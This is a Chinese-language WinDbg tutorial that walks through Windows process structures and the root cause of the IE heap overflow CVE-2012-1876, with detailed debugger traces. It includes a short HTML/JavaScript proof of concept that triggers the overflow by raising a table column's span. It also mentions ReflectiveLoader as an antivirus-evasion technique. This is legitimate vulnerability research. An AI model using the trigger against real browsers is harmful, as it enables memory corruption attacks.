Author: xd0ol1 (知道創宇404實驗室)

0x00 引子

最近開始要在部門內進行 WinDbg 漏洞分析方面的專題showcase,打算將每次分享的內容整理成文章,希望能寫一個系列。另外,鑒于筆者還在學習中,不對的地方還望各位多多指正:D

0x01 概述

本文將作為此系列的開篇,首先會提及Windows進程的知識,而后就進入正式的漏洞分析,此次選的是一個IE漏洞(CVE-2012-1876)。需要說明一點,隨著微軟在自身安全上的不斷改進,漏洞利用的難度也越來越大,出于學習目的這里主要關注比較經典的漏洞,雖然有些可能比較老了,但還是很有借鑒意義的。

0x02 Windows 進程

下面將通過實際例子對Windows進程做個概述,內容比較基礎。

在逆向分析中,進程往往作為基本的調試單元,因此對其的理解是有必要的。這里我們先打開IE瀏覽器,可以知道對每個選項卡IE都會創建一個子進程來處理,接著我們打開WinDbg并附加到當前的IE頁面進程,“|”和“~”命令可用于查看進程和線程的狀態,注意前面有個小點的是此時所處的進程和線程,可以看到一個進程中包含有多個線程:

0:012> |
.  0  id: ed8   attach  name: C:\Program Files\Internet Explorer\iexplore.exe
0:012> ~
   0  Id: ed8.edc Suspend: 1 Teb: 7ffde000 Unfrozen
   1  Id: ed8.ee0 Suspend: 1 Teb: 7ffdd000 Unfrozen
   2  Id: ed8.ee4 Suspend: 1 Teb: 7ffdc000 Unfrozen
   3  Id: ed8.ee8 Suspend: 1 Teb: 7ffdb000 Unfrozen
   4  Id: ed8.eec Suspend: 1 Teb: 7ffda000 Unfrozen
   5  Id: ed8.ef0 Suspend: 1 Teb: 7ffd9000 Unfrozen
   6  Id: ed8.ef4 Suspend: 1 Teb: 7ffd8000 Unfrozen
   7  Id: ed8.ef8 Suspend: 1 Teb: 7ffd7000 Unfrozen
   8  Id: ed8.efc Suspend: 1 Teb: 7ffd6000 Unfrozen
   9  Id: ed8.f00 Suspend: 1 Teb: 7ffd5000 Unfrozen
  10  Id: ed8.f04 Suspend: 1 Teb: 7ffd4000 Unfrozen
  11  Id: ed8.f08 Suspend: 1 Teb: 7ffd3000 Unfrozen
. 12  Id: ed8.f4c Suspend: 1 Teb: 7ff9f000 Unfrozen

當然,如果需要WinDbg也是可以同時調試多個進程的,更詳細的內容我們可以通過“!peb”和“!teb”命令來查看,其中PEB(Process Environment Block)存放著進程信息,而TEB(Thread Environment Block)則存放著線程信息。同時,通過“!address”命令可列出進程的地址空間信息,如下是用戶模式下從地址0x00000000開始到0x80000000的信息,只給出部分:

0:012> !address

  BaseAddr EndAddr+1 RgnSize     Type       State                 Protect             Usage
-------------------------------------------------------------------------------------------
*        0    10000    10000             MEM_FREE    PAGE_NOACCESS                      Free 
*    10000    20000    10000 MEM_MAPPED  MEM_COMMIT  PAGE_READWRITE                     MemoryMappedFile "PageFile"
*    20000    27000     7000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY                      MemoryMappedFile "PageFile"
......
*  12b0000  12b1000     1000 MEM_IMAGE   MEM_COMMIT  PAGE_READONLY                      Image "C:\Program Files\Internet Explorer\iexplore.exe"
|- 12b1000  12bc000     b000 MEM_IMAGE   MEM_COMMIT  PAGE_EXECUTE_READ                  Image "C:\Program Files\Internet Explorer\iexplore.exe"
|- 12bc000  12bd000     1000 MEM_IMAGE   MEM_COMMIT  PAGE_READWRITE                     Image "C:\Program Files\Internet Explorer\iexplore.exe"
|- 12bd000  1356000    99000 MEM_IMAGE   MEM_COMMIT  PAGE_READONLY                      Image "C:\Program Files\Internet Explorer\iexplore.exe"
*  1356000  1360000     a000             MEM_FREE    PAGE_NOACCESS                      Free 
*  1360000  172d000   3cd000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY                      MemoryMappedFile "PageFile"
*  172d000  1730000     3000             MEM_FREE    PAGE_NOACCESS                      Free 
......
|- 3c0f000  3c10000     1000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [ed8.f04; ~10]
|- 3c10000  3c20000    10000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [ed8.f04; ~10]
*  3c20000  3c21000     1000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY                      MemoryMappedFile "\Device\HarddiskVolume2\Windows\System32\ieapfltr.dat"
|- 3c21000  3fa6000   385000 MEM_MAPPED  MEM_COMMIT  PAGE_WRITECOPY                     MemoryMappedFile "\Device\HarddiskVolume2\Windows\System32\ieapfltr.dat"
|- 3fa6000  3fa7000     1000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY                      MemoryMappedFile "\Device\HarddiskVolume2\Windows\System32\ieapfltr.dat"
*  3fa7000  4110000   169000             MEM_FREE    PAGE_NOACCESS                      Free 
*  4110000  420a000    fa000 MEM_PRIVATE MEM_RESERVE                                    Stack [ed8.f4c; ~12]
|- 420a000  420c000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [ed8.f4c; ~12]
|- 420c000  4210000     4000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [ed8.f4c; ~12]
*  4210000 5fff0000 5bde0000             MEM_FREE    PAGE_NOACCESS                      Free 
* 5fff0000 60000000    10000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READ                  <unclassified> 
* 60000000 6af50000  af50000             MEM_FREE    PAGE_NOACCESS                      Free 
* 6af50000 6af51000     1000 MEM_IMAGE   MEM_COMMIT  PAGE_READONLY                      Image "C:\Windows\System32\mshtml.dll"
|-6af51000 6b488000   537000 MEM_IMAGE   MEM_COMMIT  PAGE_EXECUTE_READ                  Image "C:\Windows\System32\mshtml.dll"
......
* 7ffde000 7ffdf000     1000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     TEB [ed8.edc; ~0]
* 7ffdf000 7ffe0000     1000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     PEB [ed8]
* 7ffe0000 7ffe1000     1000 MEM_PRIVATE MEM_COMMIT  PAGE_READONLY                      <unclassified> 
|-7ffe1000 7fff0000     f000 MEM_PRIVATE MEM_RESERVE PAGE_NOACCESS                      <unclassified> 

可以看到用戶進程空間中一般包含主模塊、共享模塊、堆棧資源等,相應的虛擬內存頁也都有著各自的屬性狀態。

那么對于這樣的進程是如何從無到有創建起來的呢?這就不得不提PE格式了,比如上面的exe、dll模塊都是屬于這種類型的文件,簡單來看PE文件包含了DOS頭、PE頭、節表以及節數據,二進制數據將按裝入內存后的頁屬性歸類到不同的節中,而各個節中的數據按用途又可以被分為導出表、導入表、重定位表等數據塊,通過“!dh [標志] 模塊地址”命令可以顯示非常詳細的PE頭信息。當我們運行iexplore.exe的時候,操作系統將分配所需資源并按照此PE文件中的信息完成加載,即進程的創建。一般來說,PE文件的加載過程是由操作系統提供的PE Loader功能實現的,但我們也可以自己手動實現此過程,比如ReflectiveLoader這個技術,它就能在當前進程中完成一個獨立dll的加載,一些勒索病毒就是用的這個技巧來躲避殺軟。我們可以由此技術大體了解下PE Loader的功能,首先是查找kernel32等模塊中的特定函數,即獲取模塊基址和處理PE格式,而后申請空間寫入節數據、處理輸入表和重定位表等,最后跳轉到執行入口,即模擬原先操作系統的加載。

我們可以簡單看下如何獲取kernel32模塊的基址,這里由查找LDR鏈實現,即FS:[30] -> _PEB_LDR_DATA -> _LDR_DATA_TABLE_ENTRY:

0:012> dd fs:[30] L1
003b:00000030  7ffdf000
0:012> dt ntdll!_PEB 7ffdf000
   ......
   +0x003 SpareBits        : 0y000
   +0x004 Mutant           : 0xffffffff Void
   +0x008 ImageBaseAddress : 0x012b0000 Void
   +0x00c Ldr              : 0x77797880 _PEB_LDR_DATA
   +0x010 ProcessParameters : 0x00341170 _RTL_USER_PROCESS_PARAMETERS
   ......
0:012> dt ntdll!_PEB_LDR_DATA 0x77797880 
   +0x000 Length           : 0x30
   +0x004 Initialized      : 0x1 ''
   +0x008 SsHandle         : (null) 
   +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x3419d0 - 0x3b29d0 ]
   +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x3419d8 - 0x3b29d8 ]
   +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x341a60 - 0x3b29e0 ]
   +0x024 EntryInProgress  : (null) 
   +0x028 ShutdownInProgress : 0 ''
   +0x02c ShutdownThreadId : (null) 
0:012> dt ntdll!_LDR_DATA_TABLE_ENTRY 0x3419d0
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x341a50 - 0x7779788c ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x341a58 - 0x77797894 ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x018 DllBase          : 0x012b0000 Void
   +0x01c EntryPoint       : 0x012b1c9a Void
   +0x020 SizeOfImage      : 0xa6000
   +0x024 FullDllName      : _UNICODE_STRING "C:\Program Files\Internet Explorer\iexplore.exe"
   +0x02c BaseDllName      : _UNICODE_STRING "iexplore.exe"
   ......
0:012> dt ntdll!_LDR_DATA_TABLE_ENTRY 0x341a50
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x341d48 - 0x3419d0 ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x341d50 - 0x3419d8 ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x341e40 - 0x7779789c ]
   +0x018 DllBase          : 0x776c0000 Void
   +0x01c EntryPoint       : (null) 
   +0x020 SizeOfImage      : 0x13c000
   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\SYSTEM32\ntdll.dll"
   +0x02c BaseDllName      : _UNICODE_STRING "ntdll.dll"
   ......
0:012> dt ntdll!_LDR_DATA_TABLE_ENTRY 0x341d48
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x341e30 - 0x341a50 ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x341e38 - 0x341a58 ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x342688 - 0x341e40 ]
   +0x018 DllBase          : 0x76340000 Void
   +0x01c EntryPoint       : 0x7638bde4 Void
   +0x020 SizeOfImage      : 0xd4000
   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\system32\kernel32.dll"
   +0x02c BaseDllName      : _UNICODE_STRING "kernel32.dll"
   ......

這樣我們就獲取了kernel32模塊的基址,接著就可以解析PE格式來繼續后面的操作了。總體來看,要更好理解進程的創建需要了解相關的PE文件數據結構以及一些操作系統的數據結構,而WinDbg可以作為其中一個很好的學習工具,當然,完整的進程創建還是比較復雜的,除了這里關注的加載過程,還包括資源的分配管理等。

最后提一下WinDbg,它的相關命令可以參考這里,實際操作幾次會熟悉的快點,此外,一定要設置好符號文件,畢竟在沒有源碼的情況下如果能有符號文件,那么對調試二進制文件來說將有莫大的幫助。

0x03 CVE-2012-1876 成因分析

接下來我們將借助WinDbg來詳細跟一下CVE-2012-1876這個漏洞的成因,至于利用部分我們將在下回討論。

1、漏洞簡介

這是一個IE瀏覽器的漏洞,成功利用可實現遠程代碼執行,在Pwn2own 2012上VUPEN團隊就用其攻陷了IE9。錯誤出在mshtml.dll這個模塊的CTableLayout::CalculateMinMax函數里,程序在執行時會以HTML代碼中\元素的span屬性作為循環控制次數向堆空間寫入數據,如果此span值設置的不當,那么就會引發堆溢出問題。

其中mshtml.dll模塊是IE中的重要組件,它用來解析頁面中的HTML和CSS,我們后續的分析也主要集中在此模塊中。如下列出了IE中的主要組件,可參考微軟的說明

圖0  Internet Explorer的主要組件

2、漏洞成因

用到的分析環境為Win7 x86 - IE 8.0.7601.17514,裝完系統后默認的就是此IE版本,后面的分析都是在此環境下進行的。這部分內容我們將通過如下的PoC代碼來梳理:

<html>
<body>
    <table style="table-layout:fixed" >
        <col id="132" width="41" span="6" >&nbsp </col>
    </table>

    <script>

    function over_trigger() {
        var obj_col = document.getElementById("132");
        obj_col.width = "42765";
        obj_col.span = 666;
    }

    setTimeout("over_trigger();",1);

    </script>
</body>
</html>

上述代碼的功能還是很清晰的,最開始創建時span的屬性值為6,而后通過js中的over_trigger()函數將其動態更新為666,當然,更新后的值可以是任意的,只要能保證溢出就可以了。另外,width的屬性值和寫入堆空間的內容有關,這個后面會再提。

將PoC保存為html文件并雙擊打開,會彈出阻止提示,此時用WinDbg附加IE進程,附加列表中會有兩個IE進程,選擇后一個,即當前選項卡對應的子進程。這里假設你的符號文件都已經配置好了,我們通過“.reload /f”命令強制加載,“lm”命令可以查看加載的結果。首先我們設置好如下幾個斷點:

0:011> bp mshtml!CTableLayout::CalculateMinMax
0:011> bp mshtml!_HeapRealloc
0:011> x mshtml!*get*span
6c724645 mshtml!CTableCell::GetAArowSpan = <no type information>
6c62373b mshtml!CTextDisplayBox::GetRectsForSpan = <no type information>
6c623a79 mshtml!CLsClient::GetRectsForSpan = <no type information>
6c724623 mshtml!CTableCell::GetAAcolSpan = <no type information>
6c69a6cb mshtml!CTableCol::GetAAspan = <no type information>
6ca3c470 mshtml!CTableCell::get_colSpan = <no type information>
6c6d28a5 mshtml!CTextBlock::SBlockBuildingState::GetSpan = <no type information>
6c69a66e mshtml!CTableColumnBlock::GetColSpan = <no type information>
6ca3c587 mshtml!CTableCell::get_rowSpan = <no type information>
6c69f824 mshtml!Ptls5::LsGetFirstActiveSpan = <no type information>
6c69a66e mshtml!CTableColumnGroupBlock::GetColSpan = <no type information>
6c69cb19 mshtml!Ptls5::LsGetNextActiveSpan = <no type information>
0:011> bp mshtml!CTableCol::GetAAspan
0:011> bd 1 2
0:011> bl
 0 e 6c71a078     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax
 1 d 6c7cd7a5     0001 (0001)  0:**** mshtml!_HeapRealloc
 2 d 6c69a6cb     0001 (0001)  0:**** mshtml!CTableCol::GetAAspan

對于那些記不住的函數,我們可以通過“x”命令來查看一下,錯誤位置在CTableLayout::CalculateMinMax函數中,所以這個地方肯定要下個斷點,又因為是堆溢出,所以_HeapRealloc函數也來個斷點,最后的CTableCol::GetAAspan函數是用來獲取span屬性值的,1和2兩個斷點目前暫時禁用。“g”命令跑起來,在IE中允許阻止的內容,彈出警告直接確定,回到WinDbg可以看到程序第一次在CTableLayout::CalculateMinMax函數入口斷下來了,這是處理最開始創建時span值為6的情況,查看調用棧:

0:011> g
ModLoad: 6d0a0000 6d152000   C:\Windows\System32\jscript.dll
Breakpoint 0 hit
eax=ffffffff ebx=0019fd70 ecx=00412802 edx=ffffffff esi=00000000 edi=0249c914
eip=6c71a078 esp=0249c6b8 ebp=0249c8d0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax:
6c71a078 8bff            mov     edi,edi
0:004> kb
ChildEBP RetAddr  Args to Child              
0249c6b4 6c71a6b8 0019fd70 0249c948 00000000 mshtml!CTableLayout::CalculateMinMax
0249c8d0 6c710879 0249c948 0249c914 00000001 mshtml!CTableLayout::CalculateLayout+0x276
0249ca7c 6c81566c 0249d998 0249cca8 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720
0249cbb4 6c8118f9 0019fd70 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
......

我們看下CTableLayout::CalculateMinMax函數的聲明:

void __thiscall CTableLayout::CalculateMinMax(CTableLayout *theTableLayoutObj, LPVOID lpUnknownStackBuffer);

上述是IDA給出的結果,我們主要關注CTableLayout*這個變量,它是一個指針,由上面的“kb”命令可知其值為0019fd70:

圖1  CTableLayout*變量的定義

0:004> ln poi(0019fd70)
(6c619960)   mshtml!CTableLayout::`vftable'   |  (6c619aa0)   mshtml!CTableLayoutBlock::`vftable'
Exact matches:
    mshtml!CTableLayout::`vftable' = <no type information>

綠色標識的為vftable值,藍色標識的為span屬性值也就是6,黃色標識的為申請的堆空間起始地址,目前還沒分配所以為NULL。我們繼續:

0:004> bl
 0 e 6c71a078     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax
 1 d 6c7cd7a5     0001 (0001)  0:**** mshtml!_HeapRealloc
 2 d 6c69a6cb     0001 (0001)  0:**** mshtml!CTableCol::GetAAspan
0:004> be 1 2
0:004> g
Breakpoint 1 hit
eax=00000000 ebx=00000000 ecx=000000a8 edx=00000000 esi=0019fe0c edi=0019fe00
eip=6c7cd7a5 esp=0249c5ec ebp=0249c604 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!_HeapRealloc:
6c7cd7a5 8bff            mov     edi,edi
0:004> gu
eax=00000000 ebx=00000000 ecx=77505dd3 edx=0019eb8f esi=0019fe0c edi=0019fe00
eip=6c7e34e2 esp=0249c5f4 ebp=0249c604 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CImplAry::EnsureSizeWorker+0xa1:
6c7e34e2 8bd8            mov     ebx,eax
0:004> dd 0019fd70 L30
0019fd70  6c619960 00136dd0 00159800 6c7ce3b8
0019fd80  00000001 00000000 0108080d ffffffff
0019fd90  00000000 00000000 00000000 ffffffff
0019fda0  0001cbc4 0000f424 00000000 00000000
0019fdb0  00000000 00412802 00000000 00000000
0019fdc0  00000000 00000006 00000000 ffffffff
0019fdd0  00000000 ffffffff 6c61a594 00000004
0019fde0  00000004 0018b830 6c61a594 00000018
0019fdf0  00000006 00165700 00000000 00000000
0019fe00  6c61a594 00000000 00000000 0019eb90
0019fe10  00000000 00000000 00000000 00000000
0019fe20  00000000 00000000 00000000 00000000

程序申請了堆空間用于保存column的樣式信息,每個樣式信息占0x1C字節,有多少個樣式信息由span屬性值來確定,因此這里申請的堆空間大小為0x1C*6=0xA8,即_HeapRealloc函數入口斷下后ecx寄存器的值,函數調用時的入參如果用到寄存器的話一般都是ecx,返回參數一般保存在eax中,同時注意隨后分配的初始地址會保存到esi寄存器對應的地址處,即前面的黃色標識處,可以看到此時的值由NULL變為0x0019eb90了。

繼續運行程序會在CTableCol::GetAAspan處斷下來,也就是獲取span值作為寫入樣式信息時循環的控制次數,函數返回結果保存在eax中,此時的值為6:

0:004> g
Breakpoint 2 hit
eax=00183570 ebx=0019fd70 ecx=00000033 edx=00000006 esi=0019ec38 edi=00183570
eip=6c69a6cb esp=0249c60c ebp=0249c6b4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableCol::GetAAspan:
6c69a6cb 8bff            mov     edi,edi
0:004> gu
eax=00000006 ebx=0019fd70 ecx=00000002 edx=00148528 esi=0019ec38 edi=00183570
eip=6c8af31f esp=0249c610 ebp=0249c6b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x3ac:
6c8af31f 3de8030000      cmp     eax,3E8h

再來看下程序向申請的堆空間寫入樣式信息的過程,我們在起始地址處下個寫入斷點:

0:004> ba w1 0019eb90
0:004> bl
 0 e 6c71a078     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax
 1 d 6c7cd7a5     0001 (0001)  0:**** mshtml!_HeapRealloc
 2 d 6c69a6cb     0001 (0001)  0:**** mshtml!CTableCol::GetAAspan
 3 e 0019eb90 w 1 0001 (0001)  0:**** 
0:004> g
Breakpoint 3 hit
eax=00010048 ebx=00001004 ecx=0019eba8 edx=00000010 esi=0019eb90 edi=0019eba8
eip=6ca40a49 esp=0249c5f4 ebp=0249c5fc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CTableColCalc::AdjustForCol+0x2f:
6ca40a49 eb2a            jmp     mshtml!CTableColCalc::AdjustForCol+0x5b (6ca40a75)
0:004> ub
mshtml!CTableColCalc::AdjustForCol+0x1c:
6ca40a36 85c0            test    eax,eax
6ca40a38 7411            je      mshtml!CTableColCalc::AdjustForCol+0x31 (6ca40a4b)
6ca40a3a 6a08            push    8
6ca40a3c 57              push    edi
6ca40a3d 8bc3            mov     eax,ebx
6ca40a3f e83dacbdff      call    mshtml!CUnitValue::SetValue (6c61b681)
6ca40a44 895e04          mov     dword ptr [esi+4],ebx
6ca40a47 891e            mov     dword ptr [esi],ebx
0:004> dd 0019eb90 L30
0019eb90  00001004 00001004 00001004 00000000
0019eba0  0065006c 002f0000 00010048 00000000
0019ebb0  00000000 00000000 00000000 007a002f
0019ebc0  00630040 00000000 00000000 00000000
0019ebd0  00000000 00000000 007a002f 00630040
0019ebe0  00000000 00000000 00000000 00000000
0019ebf0  00000000 0019006c ad860000 00000000
0019ec00  00000000 00000000 00000000 00000000
0019ec10  05000005 00009841 00000000 00000000
0019ec20  00000000 00000000 00000000 00000000
0019ec30  00000000 00000000 2773a3b8 0c009846
0019ec40  00000000 001410a0 005c0044 00002001

從PoC中可以看到此時對應的width屬性值為41,0x0019eb90處寫入的內容就為width值41*100=0x00001004,事實上程序斷下來的時候0x1C個字節的樣式信息都已寫入完成。我們再單步往下跟一下:

0:004> p
eax=00010048 ebx=00001004 ecx=0019eba8 edx=00000010 esi=0019eb90 edi=0019eba8
eip=6ca40a75 esp=0249c5f4 ebp=0249c5fc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CTableColCalc::AdjustForCol+0x5b:
6ca40a75 5f              pop     edi
......//一直單步過
0:004> 
eax=00010048 ebx=0019fd70 ecx=0019eba8 edx=00000010 esi=0019eb90 edi=00000001
eip=6ca40a7b esp=0249c600 ebp=0249c6b4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CTableColCalc::AdjustForCol+0x61:
6ca40a7b c20c00          ret     0Ch
0:004> 
eax=00010048 ebx=0019fd70 ecx=0019eba8 edx=00000010 esi=0019eb90 edi=00000001
eip=6c8af47a esp=0249c610 ebp=0249c6b4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CTableLayout::CalculateMinMax+0x558:
6c8af47a ff45ec          inc     dword ptr [ebp-14h]  ss:0023:0249c6a0=00000000
0:004> 
eax=00010048 ebx=0019fd70 ecx=0019eba8 edx=00000010 esi=0019eb90 edi=00000001
eip=6c8af47d esp=0249c610 ebp=0249c6b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x55b:
6c8af47d 8b45ec          mov     eax,dword ptr [ebp-14h] ss:0023:0249c6a0=00000001
0:004> 
eax=00000001 ebx=0019fd70 ecx=0019eba8 edx=00000010 esi=0019eb90 edi=00000001
eip=6c8af480 esp=0249c610 ebp=0249c6b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x55e:
6c8af480 8345dc1c        add     dword ptr [ebp-24h],1Ch ss:0023:0249c690=00000000
0:004> 
eax=00000001 ebx=0019fd70 ecx=0019eba8 edx=00000010 esi=0019eb90 edi=00000001
eip=6c8af484 esp=0249c610 ebp=0249c6b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x562:
6c8af484 3b4510          cmp     eax,dword ptr [ebp+10h] ss:0023:0249c6c4=00000006
0:004> dd ebp-30h
0249c684  00001004 00000000 0019eb90 0000001c
0249c694  00000000 00000000 00000000 00000001
0249c6a4  00000000 00001004 00000000 00000000
0249c6b4  0249c8d0 6c71a6b8 00000006 0249c948
0249c6c4  00000006 00000000 0019fd70 0019fd70
0249c6d4  00000000 6d0c801a 000f6aa8 00000000
0249c6e4  ffffffff 00000000 00000000 000fd790
0249c6f4  00000000 00000000 ffffffff 00000000

可以看到出現了inc+cmp組合,可以猜想這應該就是控制堆空間寫入樣式信息的循環了,這幾條匯編指令的意思就是ebp-14h對應的值每次加1,即每次循環后遞增,ebp-24h對應的值每次加0x1C,即每次加一個樣式信息的字節數,最后當前的循環次數和ebp+10h對應的值比較,即span屬性值。為了驗證這個猜想我們多跟幾次這個過程,可以發現事實確是如此。

好的,我們來看下通過js腳本動態更新span屬性值后,也就是span值變為666時程序第二次在CTableLayout::CalculateMinMax函數入口斷下后是個什么情形,理論上是要重新分配堆空間的,畢竟要多寫入660個樣式信息,而后再獲取此時的span值作為循環控制次數,最后才向堆空間寫入樣式信息。我們來到程序此時斷下來的地方,順便看下之前確實是寫入了6個樣式信息:

0:004> bl
 0 e 6c71a078     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax
 1 d 6c7cd7a5     0001 (0001)  0:**** mshtml!_HeapRealloc
 2 d 6c69a6cb     0001 (0001)  0:**** mshtml!CTableCol::GetAAspan
 3 d 0019eb90 w 1 0001 (0001)  0:**** 
0:004> g
Breakpoint 0 hit
eax=ffffffff ebx=0019fd70 ecx=00402c02 edx=ffffffff esi=00000000 edi=0249c12c
eip=6c71a078 esp=0249bed0 ebp=0249c0e8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax:
6c71a078 8bff            mov     edi,edi
0:004> dd 0019eb90 L30
0019eb90  00001004 00001004 00001004 00000000
0019eba0  0065006c 002f0000 00010048 00001004
0019ebb0  00001004 00001004 00000000 007a002f
0019ebc0  00630040 00010048 00001004 00001004
0019ebd0  00001004 00000000 007a002f 00630040
0019ebe0  00010048 00001004 00001004 00001004
0019ebf0  00000000 0019006c ad860000 00010048
0019ec00  00001004 00001004 00001004 00000000
0019ec10  05000005 00009841 00010048 00001004
0019ec20  00001004 00001004 00000000 00000000
0019ec30  00000000 00010048 2773a3b8 0c009846
0019ec40  00000000 001410a0 005c0044 00002001

繼續往下應該是要分配堆空間了:

0:004> be 1 2
0:004> bl
 0 e 6c71a078     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax
 1 e 6c7cd7a5     0001 (0001)  0:**** mshtml!_HeapRealloc
 2 e 6c69a6cb     0001 (0001)  0:**** mshtml!CTableCol::GetAAspan
 3 d 0019eb90 w 1 0001 (0001)  0:**** 
0:004> g
Breakpoint 2 hit
eax=00183570 ebx=0019fd70 ecx=00000033 edx=00000006 esi=0019ec38 edi=00183570
eip=6c69a6cb esp=0249be24 ebp=0249becc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableCol::GetAAspan:
6c69a6cb 8bff            mov     edi,edi
0:004> gu
eax=0000029a ebx=0019fd70 ecx=00000002 edx=00148528 esi=0019ec38 edi=00183570
eip=6c8af31f esp=0249be28 ebp=0249becc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x3ac:
6c8af31f 3de8030000      cmp     eax,3E8h

但我們卻發現程序跳過了分配堆空間的過程,錯誤的認為之前分配的空間已經足夠而轉去直接獲取控制循環次數的span屬性值eax,即0x29a=666。

接下來和前面一樣是寫入樣式信息的過程,不過這次是對只能容納6個樣式信息的堆空間寫入了666個樣式信息,從而引發了堆溢出錯誤:

0:004> bl
 0 e 6c71a078     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax
 1 d 6c7cd7a5     0001 (0001)  0:**** mshtml!_HeapRealloc
 2 d 6c69a6cb     0001 (0001)  0:**** mshtml!CTableCol::GetAAspan
 3 e 0019eb90 w 1 0001 (0001)  0:**** 
0:004> g
Breakpoint 3 hit
eax=04141148 ebx=00414114 ecx=0019eba8 edx=00004141 esi=0019eb90 edi=0019eba8
eip=6ca40a49 esp=0249be0c ebp=0249be14 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CTableColCalc::AdjustForCol+0x2f:
6ca40a49 eb2a            jmp     mshtml!CTableColCalc::AdjustForCol+0x5b (6ca40a75)
......//一直單步過
0:004> 
eax=00000001 ebx=0019fd70 ecx=0019eba8 edx=00004141 esi=0019eb90 edi=00000001
eip=6c8af484 esp=0249be28 ebp=0249becc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x562:
6c8af484 3b4510          cmp     eax,dword ptr [ebp+10h] ss:0023:0249bedc=0000029a
0:004> dd ebp-30h
0249be9c  00414114 00000000 0019eb90 0000001c
0249beac  00000000 00000000 00000000 00000001
0249bebc  00000000 00414114 00000000 00000000
0249becc  0249c0e8 6c71a6b8 00000006 0249c160
0249bedc  0000029a 00000000 0019fd70 0019fd70
0249beec  6c7c78ad 6cb4b03c 001be050 00000000
0249befc  ffffffff 00000000 77502fe7 750c0282
0249bf0c  00000000 00000000 ffffffff 00000000
0:004> bp 6c8af484 ".if(poi(0249beb8)=29a){}.else{gc}"
0:004> g
eax=0000029a ebx=0019fd70 ecx=001A3464 edx=00004141 esi=001A344C edi=00000001
eip=6c8af484 esp=0249be28 ebp=0249becc iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
mshtml!CTableLayout::CalculateMinMax+0x562:
6c8af484 3b4510          cmp     eax,dword ptr [ebp+10h] ss:0023:0249bedc=0000029a
0:004> dd ebp-30h
0249be9c  00414114 00000000 001A344C 000048d8
